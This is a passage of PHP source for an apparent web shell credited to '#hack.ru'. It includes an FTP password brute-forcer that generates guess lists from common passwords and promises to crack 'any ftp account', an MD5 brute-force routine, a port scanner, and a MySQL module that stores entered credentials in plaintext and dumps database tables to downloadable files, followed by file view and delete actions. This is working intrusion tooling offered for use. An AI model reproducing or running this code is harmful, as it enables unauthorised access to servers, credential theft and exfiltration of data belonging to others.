($next <= 31) { + +result(implode($word)); + + + +}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} + + + +function result($word) { + +global $dat,$date; + +$pass_de=$_POST[pass_de]; + +$dat2=date("H:i:s"); + +$date2=date("d:m:Y"); + + + +if(md5($word)==$pass_de){ + +print " + +<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <tr><td align=left valign=top colspan=2 bgcolor=#FFFFCC>&nbsp;&nbsp; Brutefrcing result:</td></tr> + + <tr><td class=pagetitle width=400>&nbsp;&nbsp;<b>crypted Hash:</b></td><td class=pagetitle width=100><font color=red>&nbsp;&nbsp;<b>$word</b></font></td></tr> + + <tr><td class=pagetitle width=200>&nbsp;&nbsp;<b>Bruteforce start:</b></td><td class=pagetitle width=200><font color=#ffffcc>&nbsp;&nbsp;<b>$dat - $date</b></font></td></tr> + + <tr><td class=pagetitle width=200>&nbsp;&nbsp;<b>Bruteforce finish:</b></td><td class=pagetitle width=200><font color=#ffffcc>&nbsp;&nbsp;<b>$dat2 - $date2</b></font></td></tr> + + <tr><td align=left valign=top colspan=2 bgcolor=#FFFFCC>&nbsp;&nbsp;result was wrote to file: <b>".$word."_md5</b></td></tr> + +</table> + + "; + + $f=@fopen($word._md5,"a+"); + + fputs($f,"Decrypted MD5 hash [$pass_de] = $word\nBruteforce start:\t$dat - $date\Bruteforce finish:\t$dat2 - $date2\n "); + + exit;} + + + + + + + +} + + + +function brut_ftp() { + + global $action,$private_site, $title_exp,$login, $host, $file, $chislo, $proverka; + +set_time_limit(0); + +ignore_user_abort(1); + +echo "<br> + +<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b>FTP bruteforce</b></font></b></td></tr> +<tr><td bgcolor=#FFFFCC><br><blockquote>This is new ftp-bruteforcer it can make his own brute passwords list on the fly he needs nothing to do it, so It's not a problem for you to bryte any ftp account now. But do not write very big value of passwords (10000 will be quite enough) because it mat couse a very heavy server overload . </blockquote></td></tr> + +</table>"; + + + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form action='$PHP_SELF?action=brut_ftp' method=post><tr><td align=left valign=top colspan=3 class=pagetitle> + + &nbsp;&nbsp;<b>Brut FTP:</b></td></tr> + + <tr> <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC width=500> + + &nbsp;&nbsp;<b>FTP bruteforce</b>(full bruteforce, you are only to enter a value of number of passwords and brute will begin from password-list file, which script generates itself on the fly!)</td></tr> + +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;FTPHost:</td> + +<td align=left width=350>&nbsp;&nbsp;&nbsp; + +<input class='inputbox' type='text' name='host' size=50></td></tr> + +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Login:</td> + +<td align=left width=350>&nbsp;&nbsp;&nbsp; + +<input class='inputbox' type='text' name='login' size=50></td></tr> + +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Number of passwords:</td> + +<td align=left width=350>&nbsp;&nbsp;&nbsp; + +<input class='inputbox' type='text' name='chislo' size=10></td></tr> + +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Password to test:</td> + +<td align=left width=350>&nbsp;&nbsp;&nbsp; + +<input class='inputbox' type='text' name='proverka' size=50></td></tr> + +<tr><td width=500 align=center colspan=2><input type='submit' value='FTP brute start' class=button1 $style_button> + +</td></tr> + + + + </form></table>"; + + + + + +function s() { + + $word="qwrtypsdfghjklzxcvbnm"; + + return $word[mt_rand(0,strlen($word)-1)]; + +} + + + +function g() { + + $word="euioam"; + + return $word[mt_rand(0,strlen($word)-2)]; + +} + + + +function name0() { return s().g().s(); } + +function name1() { return s().g().s().g(); } + +function name2() { return s().g().g().s(); } + +function name3() { return s().s().g().s().g(); } + +function name4() { return g().s().g().s().g(); } + +function name5() { return g().g().s().g().s(); } + +function name6() { return g().s().s().g().s(); } + +function name7() { return s().g().g().s().g(); } + +function name8() { return s().g().s().g().g(); } + +function name9() { return s().g().s().g().s().g(); } + +function name10() { return s().g().s().s().g().s().s(); } + +function name11() { return s().g().s().s().g().s().s().g(); } + + + +$cool=array(1,2,3,4,5,6,7,8,9,10,99,100,111,111111,666,1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988,1989,1990,1991,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005); + +$cool2=array('q1w2e3','qwerty','qwerty111111','123456','1234567890','0987654321','asdfg','zxcvbnm','qazwsx','q1e3r4w2','q1r4e3w2','1q2w3e','1q3e2w','poiuytrewq','lkjhgfdsa','mnbvcxz','asdf','root','admin','admin123','lamer123','admin123456','administrator','administrator123','q1w2e3r4t5','root123','microsoft','muther','hacker','hackers','cracker'); + + + +function randword() { + + global $cool; + + $func="name".mt_rand(0,11); + + $func2="name".mt_rand(0,11); + + switch (mt_rand(0,11)) { + + case 0: return $func().mt_rand(5,99); + + case 1: return $func()."-".$func2(); + + case 2: return $func().$cool[mt_rand(0,count($cool)-1)]; + + case 3: return $func()."!".$func(); + + case 4: return randpass(mt_rand(5,12)); + + default: return $func(); + + } + + + + + +} + + + +function randpass($len) { + + $word="qwertyuiopasdfghjklzxcvbnm1234567890"; + + $s=""; + + for ($i=0; $i<$len; $i++) { + + $s.=$word[mt_rand(0,strlen($word)-1)]; + + } + + return $s; + +} + +if (@unlink("pass.txt") < 0){ + +echo "nothing"; + +exit; + +} + +$file="pass.txt"; + +if($file && $host && $login){ + + $cn=mt_rand(30,30); + +for ($i=0; $i<$cn; $i++) { + + $s=$cool2[$i]; + + $f=@fopen(pass.".txt","a+"); + + fputs($f,"$s\n"); + + } + + + + $cnt2=mt_rand(43,43); + +for ($i=0; $i<$cnt2; $i++) { + + $r=$cool[$i]; + + $f=@fopen(pass.".txt","a+"); + + fputs($f,"$login$r\n"); + +} + +$p="$proverka"; + + $f=@fopen(pass.".txt","a+"); + + fputs($f,"$p\n"); + + + + $cnt3=mt_rand($chislo,$chislo); + + for ($i=0; $i<$cnt3; $i++) { + + $u=randword(); + + $f=@fopen(pass.".txt","a+"); + + fputs($f,"$u\n"); + + } + + + + if(is_file($file)){ + + $passwd=file($file,1000); + + for($i=0; $i<count($passwd); $i++){ + + $stop=false; + + $password=trim($passwd[$i]); + + $open_ftp=@fsockopen($host,21); + + if($open_ftp!=false){ + + fputs($open_ftp,"user $login\n"); + + fputs($open_ftp,"pass $password\n"); + + while(!feof($open_ftp) && $stop!=true){ + + $text=fgets($open_ftp,4096); + + if(preg_match("/230/",$text)){ + + $stop=true; + + $f=@fopen($host._ftp,"a+"); + + fputs($f,"Enter on ftp:\nFTPhosting:\t$host\nLogin:\t$login\nPassword:\t$password\n "); + + + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b><font color=\"blue\">Congratulations! Password is known now.</font></b><br> + +&nbsp;&nbsp;Connected to: <b>$host</b><br>&nbsp;&nbsp;with login: <b>$login</b><br>&nbsp;&nbsp;with password: <b>$password</b></td></tr></table> + +";exit; + + } + + elseif(preg_match("/530/",$text)){ + + $stop=true; + + + + } + + } + + fclose($open_ftp); + + }else{ + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle bgcolor=#FF0000><b>FTP is incorrect!!! At <b><u>$host</u></b> 21 port is closed! check your settings</b></b></td></tr> + +</table> + +";exit; + + } + + } + + } + +} + + + +} + + + +# port scanner + +function portscan() { + + global $action,$portscan,$port,$HTTP_HOST,$min,$max; + + + + $mtime = explode(" ",microtime()); + + $mtime = $mtime[1] + $mtime[0]; + + $time1 = $mtime; + + + + $id = $HTTP_HOST; + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center class=pagetitle><b>Scan results:</b>&nbsp;&nbsp;$id</td></tr><tr><td valign=top class=pagetitle >Scanning host to find any reachable and open ports" . "...<br></td></tr></table>"; + + + + $lport = $min; + + $hport = $max; + + $op = 0; + + $gp = 0; + + + + for ($porta=$lport; $porta<=$hport; $porta++) { + + $fp = @fsockopen("$id", $porta, &$errno, &$errstr, 4); + + if ( !$fp ) { $gp++; } + + else { + + $port_addres = $port[$porta]; + + if($port_addres == "") $port_addres = "unknown"; + + $serv = getservbyport($porta, TCP); + + echo "<TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#FFFFCC BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center width=10%>Port:<b>$porta / $serv</b></td><td align=center width=80%>$port_addres</td><td align=center width=10%>(<a href=\"http://www.google.de/search?q=%22$port_addres2%22&ie=ISO-8859-1&hl=de&btnG=Google+Suche&meta=\" target=_blank>What's the service is?</a>)</td></tr>"; + + $op++; + + } + + } + + + + if($op == 0) echo "<TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center class=pagetitle><b>Current host seems don't have any open port...hmm, but you're connected to it to 80...check out firewall</b></td></tr></table>"; + + + + $unsi = ($op/$porta)*100; + + $unsi = round($unsi); + + + + echo "<tr><td align=center width=100% bgcolor=#184984 class=pagetitle colspan=3><b>Scan statistics:</b></b></td></tr>"; + + echo "<tr><td align=center width=100% colspan=3><b>Scanned ports:</b>&nbsp;&nbsp;$porta</td></tr>"; + + echo "<tr><td align=center width=100% colspan=3><b>Open ports:</b>&nbsp;&nbsp;$op</td></tr>"; + + echo "<tr><td align=center width=100% colspan=3><b>Closed ports:</b>&nbsp;&nbsp;$gp</td></tr>"; + + + + $mtime = explode(" ",microtime()); + + $mtime = $mtime[1] + $mtime[0]; + + $time2 = $mtime; + + $loadtime = ($time2 - $time1); + + $loadtime = round($loadtime, 2); + + + + echo "<tr colspan=2><td align=center width=100% colspan=3><b>Scan time:</b>&nbsp;&nbsp;$loadtime seconds</tr></table>"; + +} + + + +function nfm_copyright() { + +global $action,$upass,$uname,$nfm; + + return "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#ffffcc BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#000000' face='Tahoma' size = 2><b>Powered by channel #hack.ru (author xoce). Made In Russia </b></font></center></td></tr></table></body></html>"; + + + +} + +// =-=-=-=-= SQL MODULE =-=-=-=-= + +// SQL functions start + +function aff_date() { + + $date_now=date("F j,Y,g:i a"); + + return $date_now; + +} + + + +function sqldumptable($table) { + + global $sv_s,$sv_d,$drp_tbl; + + $tabledump = ""; + + if ($sv_s) { + + if ($drp_tbl) { $tabledump.="DROP TABLE IF EXISTS $table;\n"; } + + $tabledump.="CREATE TABLE $table (\n"; + + $firstfield=1; + + $champs=mysql_query("SHOW FIELDS FROM $table"); + + while ($champ=mysql_fetch_array($champs)) { + + if (!$firstfield) { $tabledump.=",\n"; } + + else { $firstfield=0;} + + $tabledump.=" $champ[Field] $champ[Type]"; + + if ($champ['Null'] !="YES") { $tabledump.=" NOT NULL";} + + if (!empty($champ['Default'])) { $tabledump.=" default '$champ[Default]'";} + + if ($champ['Extra'] !="") { $tabledump.=" $champ[Extra]";} + + } + + + + @mysql_free_result($champs); + + $keys=mysql_query("SHOW KEYS FROM $table"); + + while ($key=mysql_fetch_array($keys)) { + + $kname=$key['Key_name']; + + if ($kname !="PRIMARY" and $key['Non_unique']==0) { $kname="UNIQUE|$kname";} + + if(!is_array($index[$kname])) { $index[$kname]=array();} + + $index[$kname][]=$key['Column_name']; + + } + + + + @mysql_free_result($keys); + + while(list($kname,$columns)=@each($index)) { + + $tabledump.=",\n"; + + $colnames=implode($columns,","); + + if($kname=="PRIMARY") { $tabledump.=" PRIMARY KEY ($colnames)";} + + else { + + if (substr($kname,0,6)=="UNIQUE") { $kname=substr($kname,7);} + + $tabledump.=" KEY $kname ($colnames)"; + + } + + } + + $tabledump.="\n);\n\n"; + + } + + + + if ($sv_d) { + + $rows=mysql_query("SELECT * FROM $table"); + + $numfields=mysql_num_fields($rows); + + while ($row=mysql_fetch_array($rows)) { + + $tabledump.="INSERT INTO $table VALUES("; + + $cptchamp=-1; + + $firstfield=1; + + while (++$cptchamp<$numfields) { + + if (!$firstfield) { $tabledump.=",";} + + else { $firstfield=0;} + + if (!isset($row[$cptchamp])) {$tabledump.="NULL";} + + else { $tabledump.="'".mysql_escape_string($row[$cptchamp])."'";} + + } + + $tabledump.=");\n"; + + } + + @mysql_free_result($rows); + + } + + + + return $tabledump; + +} + + + +function csvdumptable($table) { + + global $sv_s,$sv_d; + + $csvdump="## Table:$table \n\n"; + + if ($sv_s) { + + $firstfield=1; + + $champs=mysql_query("SHOW FIELDS FROM $table"); + + while ($champ=mysql_fetch_array($champs)) { + + if (!$firstfield) { $csvdump.=",";} + + else { $firstfield=0;} + + $csvdump.="'".$champ['Field']."'"; + + } + + + + @mysql_free_result($champs); + + $csvdump.="\n"; + + } + + + + if ($sv_d) { + + $rows=mysql_query("SELECT * FROM $table"); + + $numfields=mysql_num_fields($rows); + + while ($row=mysql_fetch_array($rows)) { + + $cptchamp=-1; + + $firstfield=1; + + while (++$cptchamp<$numfields) { + + if (!$firstfield) { $csvdump.=",";} + + else { $firstfield=0;} + + if (!isset($row[$cptchamp])) { $csvdump.="NULL";} + + else { $csvdump.="'".addslashes($row[$cptchamp])."'";} + + } + + $csvdump.="\n"; + + } + + } + + + + @mysql_free_result($rows); + + return $csvdump; + +} + + + +function write_file($data) { + + global $g_fp,$file_type; + + if ($file_type==1) { gzwrite($g_fp,$data); } + + else { fwrite ($g_fp,$data); } + +} + + + +function open_file($file_name) { + + global $g_fp,$file_type,$dbbase,$f_nm; + + if ($file_type==1) { $g_fp=gzopen($file_name,"wb9"); } + + else { $g_fp=fopen ($file_name,"w"); } + + + + $f_nm[]=$file_name; + + $data=""; + + $data.="##\n"; + + $data.="## NFM hack.ru creator \n"; + + $data.="##-------------------------\n"; + + $data.="## Date:".aff_date()."\n"; + + $data.="## Base:$dbbase \n"; + + $data.="##-------------------------\n\n"; + + write_file($data); + + unset($data); + +} + + + +function file_pos() { + + global $g_fp,$file_type; + + if ($file_type=="1") { return gztell ($g_fp); } + + else { return ftell ($g_fp); } + +} + + + +function close_file() { + + global $g_fp,$file_type; + + if ($file_type=="1") { gzclose ($g_fp); } + + else { fclose ($g_fp); } + +} + + + +function split_sql_file($sql) { + + $morc=explode(";",$sql); + + $sql=""; + + $output=array(); + + $matches=array(); + + $morc_cpt=count($morc); + + for ($i=0;$i < $morc_cpt;$i++) { + + if (($i !=($morc_cpt-1)) || (strlen($morc[$i] > 0))) { + + $total_quotes=preg_match_all("/'/",$morc[$i],$matches); + + $escaped_quotes=preg_match_all("/(?<!\\\\)(\\\\\\\\)*\\\\'/",$morc[$i],$matches); + + $unescaped_quotes=$total_quotes-$escaped_quotes; + + if (($unescaped_quotes % 2)==0) { $output[]=$morc[$i]; $morc[$i]=""; } + + else { + + $temp=$morc[$i].";"; + + $morc[$i]=""; + + $complete_stmt=false; + + for ($j=$i+1;(!$complete_stmt && ($j < $morc_cpt));$j++) { + + $total_quotes = preg_match_all("/'/",$morc[$j],$matches); + + $escaped_quotes=preg_match_all("/(?<!\\\\)(\\\\\\\\)*\\\\'/",$morc[$j],$matches); + + $unescaped_quotes=$total_quotes-$escaped_quotes; + + if (($unescaped_quotes % 2)==1) { + + $output[]=$temp.$morc[$j]; + + $morc[$j]=""; + + $temp=""; + + $complete_stmt=true; + + $i=$j; + + } else { + + $temp.=$morc[$j].";"; + + $morc[$j]=""; + + } + + } + + } + + } + + } + + return $output; + +} + + + +function split_csv_file($csv) { return explode("\n",$csv); } + +// SQL functions END + + + +// main SQL() + +function sql() { + + global $sqlaction,$sv_s,$sv_d,$drp_tbl,$g_fp,$file_type,$dbbase,$f_nm; + + $secu_config="xtdump_conf.inc.php"; + + $dbhost=$_POST['dbhost']; + + $dbuser=$_POST['dbuser']; + + $dbpass=$_POST['dbpass']; + + $dbbase=$_POST['dbbase']; + + $tbls =$_POST['tbls']; + + $sqlaction =$_POST['sqlaction']; + + $secu =$_POST['secu']; + + $f_cut =$_POST['f_cut']; + + $fz_max =$_POST['fz_max']; + + $opt =$_POST['opt']; + + $savmode =$_POST['savmode']; + + $file_type =$_POST['file_type']; + + $ecraz =$_POST['ecraz']; + + $f_tbl =$_POST['f_tbl']; + + $drp_tbl=$_POST['drp_tbl']; + + + + $header="<center><table width=620 cellpadding=0 cellspacing=0 align=center><col width=1><col width=600><col width=1><tr><td></td><td align=left class=texte><br>"; + + $footer="<center><a href='javascript:history.go(-1)' target='_self' class=link>-go back-</a><br></center><br></td><td></td></tr><tr><td height=1 colspan=3></td></tr></table></center>".nfm_copyright(); + + + + // SQL actions STARTS + + + + if ($sqlaction=='save') { + + if ($secu==1) { + + $fp=fopen($secu_config,"w"); + + fputs($fp,"<?php\n"); + + fputs($fp,"\$dbhost='$dbhost';\n"); + + fputs($fp,"\$dbbase='$dbbase';\n"); + + fputs($fp,"\$dbuser='$dbuser';\n"); + + fputs($fp,"\$dbpass='$dbpass';\n"); + + fputs($fp,"?>"); + + fclose($fp); + + } + + if (!is_array($tbls)) { + + echo $header."<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\"> + +<br><center><font color=red>You forgot to check tables, which you need to dump =)</b></font></center>\n$footer"; + + exit; + + } + + if($f_cut==1) { + + if (!is_numeric($fz_max)) { + + echo $header."<br><center><font color=red><b>Veuillez choisir une valeur num?rique ? la taille du fichier ? scinder.</b></font></center>\n$footer"; + + exit; + + } + + if ($fz_max < 200000) { + + echo $header."<br><center><font color=red><b>Veuillez choisir une taille de fichier a scinder sup + + rieure ? 200 000 Octets.</b></font></center>\n$footer"; + + exit; + + } + + } + + + + $tbl=array(); + + $tbl[]=reset($tbls); + + if (count($tbls) > 1) { + + $a=true; + + while ($a !=false) { + + $a=next($tbls); + + if ($a !=false) { $tbl[]=$a; } + + } + + } + + + + if ($opt==1) { $sv_s=true; $sv_d=true; } + + else if ($opt==2) { $sv_s=true;$sv_d=false;$fc ="_struct"; } + + else if ($opt==3) { $sv_s=false;$sv_d=true;$fc ="_data"; } + + else { exit; } + + + + $fext=".".$savmode; + + $fich=$dbbase.$fc.$fext; + + $dte=""; + + if ($ecraz !=1) { $dte=date("dMy_Hi")."_"; } $gz=""; + + if ($file_type=='1') { $gz.=".gz"; } + + $fcut=false; + + $ftbl=false; + + $f_nm=array(); + + if($f_cut==1) { $fcut=true;$fz_max=$fz_max;$nbf=1;$f_size=170;} + + if($f_tbl==1) { $ftbl=true; } + + else { + + if(!$fcut) { open_file("dump_".$dte.$dbbase.$fc.$fext.$gz); } + + else { open_file("dump_".$dte.$dbbase.$fc."_1".$fext.$gz); } + + } + + + + $nbf=1; + + mysql_connect($dbhost,$dbuser,$dbpass); + + mysql_select_db($dbbase); + + if ($fext==".sql") { + + if ($ftbl) { + + while (list($i)=each($tbl)) { + + $temp=sqldumptable($tbl[$i]); + + $sz_t=strlen($temp); + + if ($fcut) { + + open_file("dump_".$dte.$tbl[$i].$fc.".sql".$gz); + + $nbf=0; + + $p_sql=split_sql_file($temp); + + while(list($j,$val)=each($p_sql)) { + + if ((file_pos()+6+strlen($val)) < $fz_max) { write_file($val.";"); } + + else { close_file(); $nbf++; open_file("dump_".$dte.$tbl[$i].$fc."_".$nbf.".sql".$gz); write_file($val.";"); } + + } + + close_file(); + + } + + else { open_file("dump_".$dte.$tbl[$i].$fc.".sql".$gz);write_file($temp."\n\n");close_file();$nbf=1; } + + $tblsv=$tblsv."<b>".$tbl[$i]."</b>,<br>"; + + } + + } else { + + $tblsv=""; + + while (list($i)=each($tbl)) { + + $temp=sqldumptable($tbl[$i]); + + $sz_t=strlen($temp); + + if ($fcut && ((file_pos()+$sz_t) > $fz_max)) { + + $p_sql=split_sql_file($temp); + + while(list($j,$val)=each($p_sql)) { + + if ((file_pos()+6+strlen($val)) < $fz_max) { write_file($val.";"); } + + else { + + close_file(); + + $nbf++; + + open_file("dump_".$dte.$dbbase.$fc."_".$nbf.".sql".$gz); + + write_file($val.";"); + + } + + } + + } else { write_file($temp); } + + $tblsv=$tblsv."<b>".$tbl[$i]."</b>,<br>"; + + } + + } + + } + + else if ($fext==".csv") { + + if ($ftbl) { + + while (list($i)=each($tbl)) { + + $temp=csvdumptable($tbl[$i]); + + $sz_t=strlen($temp); + + if ($fcut) { + + open_file("dump_".$dte.$tbl[$i].$fc.".csv".$gz); + + $nbf=0; + + $p_csv=split_csv_file($temp); + + while(list($j,$val)=each($p_csv)) { + + if ((file_pos()+6+strlen($val)) < $fz_max) { write_file($val."\n"); } + + else { + + close_file(); + + $nbf++; + + open_file("dump_".$dte.$tbl[$i].$fc."_".$nbf.".csv".$gz); + + write_file($val."\n"); + + } + + } + + close_file(); + + } else { + + open_file("dump_".$dte.$tbl[$i].$fc.".csv".$gz); + + write_file($temp."\n\n"); + + close_file(); + + $nbf=1; + + } + + $tblsv=$tblsv."<b>".$tbl[$i]."</b>,<br>"; + + } + + } else { + + while (list($i)=each($tbl)) { + + $temp=csvdumptable($tbl[$i]); + + $sz_t=strlen($temp); + + if ($fcut && ((file_pos()+$sz_t) > $fz_max)) { + + $p_csv=split_sql_file($temp); + + while(list($j,$val)=each($p_csv)) { + + if ((file_pos()+6+strlen($val)) < $fz_max) { write_file($val."\n"); } + + else { + + close_file(); + + $nbf++; + + open_file("dump_".$dte.$dbbase.$fc."_".$nbf.".csv".$gz); + + write_file($val."\n"); + + } + + } + + } else { write_file($temp); } + + $tblsv=$tblsv."<b>".$tbl[$i]."</b>,<br>"; + + } + + } + + } + + + + mysql_close(); + + if (!$ftbl) { close_file(); } + + + + echo $header; + + echo "<br><center>All the data in these tables:<br> ".$tblsv." were putted to this file:<br><br></center><table border='0' align='center' cellpadding='0' cellspacing='0'><col width=1 bgcolor='#2D7DA7'><col valign=center><col width=1 bgcolor='#2D7DA7'><col valign=center align=right><col width=1 bgcolor='#2D7DA7'><tr><td bgcolor='#2D7DA7' colspan=5></td></tr><tr><td></td><td bgcolor='#338CBD' align=center class=texte><font size=1><b>File</b></font></td><td></td><td bgcolor='#338CBD' align=center class=texte><font size=1><b>Size</b></font></td><td></td></tr><tr><td bgcolor='#2D7DA7' colspan=5></td></tr>"; + + reset($f_nm); + + while (list($i,$val)=each($f_nm)) { + + $coul='#99CCCC'; + + if ($i % 2) { $coul='#CFE3E3'; } + + echo "<tr><td></td><td bgcolor=".$coul." class=texte>&nbsp;<a href='".$val."' class=link target='_blank'>".$val."&nbsp;</a></td><td></td>"; + + $fz_tmp=filesize($val); + + if ($fcut && ($fz_tmp > $fz_max)) { + + echo "<td bgcolor=".$coul." class=texte>&nbsp;<font size=1 color=red>".$fz_tmp." Octets</font>&nbsp;</td><td></td></tr>"; + + } else { + + echo "<td bgcolor=".$coul." class=texte>&nbsp;<font size=1>".$fz_tmp." bites</font>&nbsp;</td><td></td></tr>"; + + } + + echo "<tr><td bgcolor='#2D7DA7' colspan=5></td></tr>"; + + } + + echo "</table><br>"; + + echo $footer;exit; + + } + + + + if ($sqlaction=='connect') { + + if(!@mysql_connect($dbhost,$dbuser,$dbpass)) { + + echo $header."<br><center><font color=red><b>Unable to connect! Check your data input!</b></font></center>\n$footer"; + + exit; + + } + + + + if(!@mysql_select_db($dbbase)) { + + echo $header."<br><center><font color=red><<b>Unable to connect! Check your data input!</b></font></center>\n$footer"; + + exit; + + } + + + + if ($secu==1) { + + if (!file_exists($secu_config)) { + + $fp=fopen($secu_config,"w"); + + fputs($fp,"<?php\n"); + + fputs($fp,"\$dbhost='$dbhost';\n"); + + fputs($fp,"\$dbbase='$dbbase';\n"); + + fputs($fp,"\$dbuser='$dbuser';\n"); + + fputs($fp,"\$dbpass='$dbpass';\n"); + + fputs($fp,"?>"); + + fclose($fp); + + } + + include($secu_config); + + } else { + + if (file_exists($secu_config)) { unlink($secu_config); } + + } + + + + mysql_connect($dbhost,$dbuser,$dbpass); + + $tables=mysql_list_tables($dbbase); + + $nb_tbl=mysql_num_rows($tables); + + + + echo $header."<script language='javascript'> function checkall() { var i=0;while (i < $nb_tbl) { a='tbls['+i+']';document.formu.elements[a].checked=true;i=i+1;} } function decheckall() { var i=0;while (i < $nb_tbl) { a='tbls['+i+']';document.formu.elements[a].checked=false;i=i+1;} } </script><center><br><b>Choose tables you need to dump!</b><form action='' method='post' name=formu><input type='hidden' name='sqlaction' value='save'><input type='hidden' name='dbhost' value='$dbhost'><input type='hidden' name='dbbase' value='$dbbase'><input type='hidden' name='dbuser' value='$dbuser'><input type='hidden' name='dbpass' value='$dbpass'><DIV ID='infobull'></DIV><table border='0' width='400' align='center' cellpadding='0' cellspacing='0' class=texte><col width=1 bgcolor='#2D7DA7'><col width=30 align=center valign=center><col width=1 bgcolor='#2D7DA7'><col width=350> <col width=1 bgcolor='#2D7DA7'><tr><td bgcolor='#2D7DA7' colspan=5></td></tr><tr><td></td><td bgcolor='#336699'><input type='checkbox' name='selc' alt='Check all' onclick='if (document.formu.selc.checked==true){checkall();}else{decheckall();}')\"></td><td></td><td bgcolor='#338CBD' align=center><B>Table names</b></td><td></td></tr><tr><td bgcolor='#2D7DA7' colspan=5></td></tr>"; + + + + $i=0; + + while ($i < mysql_num_rows ($tables)) { + + $coul='#99CCCC'; + + if ($i % 2) { $coul='#CFE3E3';} + + $tb_nom=mysql_tablename ($tables,$i); + + echo "<tr><td></td><td bgcolor='".$coul."'><input type='checkbox' name='tbls[".$i."]' value='".$tb_nom."'></td><td></td><td bgcolor='".$coul."'>&nbsp;&nbsp;&nbsp;".$tb_nom."</td><td></td></tr><tr><td bgcolor='#2D7DA7' colspan=5></td></tr>"; + + $i++; + + } + + + + mysql_close(); + + echo "</table><br><br><table align=center border=0><tr><td align=left class=texte> <hr> <input type='radio' name='savmode' value='csv'> + + Save to csv (*.<i>csv</i>)<br> <input type='radio' name='savmode' value='sql' checked> + + Save to Sql (*.<i>sql</i>)<br> <hr> <input type='radio' name='opt' value='1' checked> + + Save structure and data<br> <input type='radio' name='opt' value='2'> + + Save structure only<br> <input type='radio' name='opt' value='3'> + + Save data only<br> <hr> <input type='Checkbox' name='drp_tbl' value='1' checked> + + Rewrite file if exists<br> <input type='Checkbox' name='ecraz' value='1' checked> + + Clear database after dump<br> <input type='Checkbox' name='f_tbl' value='1'> + + Put each table to a separate file<br> <input type='Checkbox' name='f_cut' value='1'> + + Maximum dump-file size: <input type='text' name='fz_max' value='200000' class=form> + + Octets<br> <input type='Checkbox' name='file_type' value='1'> + + Gzip.<br> + + </td></tr></table><br><br><input type='submit' value=' Dump:) ' class=form></form></center>$footer"; + + exit; + + } + + + +// SQL actions END + + + + if(file_exists($secu_config)) { + + include ($secu_config); + + $ck="checked"; + + } else { + + $dbhost="localhost"; + + $dbbase=""; + + $dbuser="root"; + + $dbpass=""; + + $ck=""; + + } + + + + echo $header." + +<center><br><br> + +<table width=620 cellpadding=0 cellspacing=0 align=center> + + <col width=1> + + <col width=600> + + <col width=1> + + <tr> + + <td></td> + + <td align=left class=texte> + + <br> + + <form action='' method='post'> + + <input type='hidden' name='sqlaction' value='connect'> + + <table border=0 align=center> + + <col> + + <col align=left> + + <tr> + + <td colspan=2 align=center style='font:bold 9pt;font-family:verdana;'>Enter data to connect to MySQL server!<br><br></td> + + </tr> + + <tr> + + <td class=texte>Server address:</td> + + <td><INPUT TYPE='TEXT' NAME='dbhost' SIZE='30' VALUE='localhost' class=form></td> + + </tr> + + <tr> + + <td class=texte>Base name:</td> + + <td><INPUT TYPE='TEXT' NAME='dbbase' SIZE='30' VALUE='' class=form></td> + + </tr> + + <tr> + + <td class=texte>Login:</td> + + <td><INPUT TYPE='TEXT' NAME='dbuser' SIZE='30' VALUE='root' class=form></td> + + </tr> + + <tr> + + <td class=texte>Password</td> + + <td><INPUT TYPE='Password' NAME='dbpass' SIZE='30' VALUE='' class=form></td> + + </tr> + + </table> + + <br> <center> <br><br> + + <input type='submit' value=' Connect ' class=form></center> </form> <br><br> + + </td> + + <td></td> + + </tr> + + <tr> + + <td height=1 colspan=3></td> + + </tr> + +</table> + +</center>"; + + + +} + +// SQL END + + + +/* main() */ + +set_time_limit(0); + + + +if ( $action !="download") print("$HTML"); + + + +if (!isset($cm)) { + + if (!isset($action)) { + + if (!isset($tm)) { $tm = getcwd(); } + + $curdir = getcwd(); + + if (!@chdir($tm)) exit("<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center class=alert>Access to directory is denied, see CHMOD.</td></tr></table>"); + + getdir(); + + chdir($curdir); + + $supsub = $gdir[$j-1]; + + if (!isset($tm) ) { $tm=getcwd();} + + readdirdata($tm); + + } else { + + switch ($action) { + + case "view": + + viewfile($tm,$fi); + + break; + + case "delete": + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>File 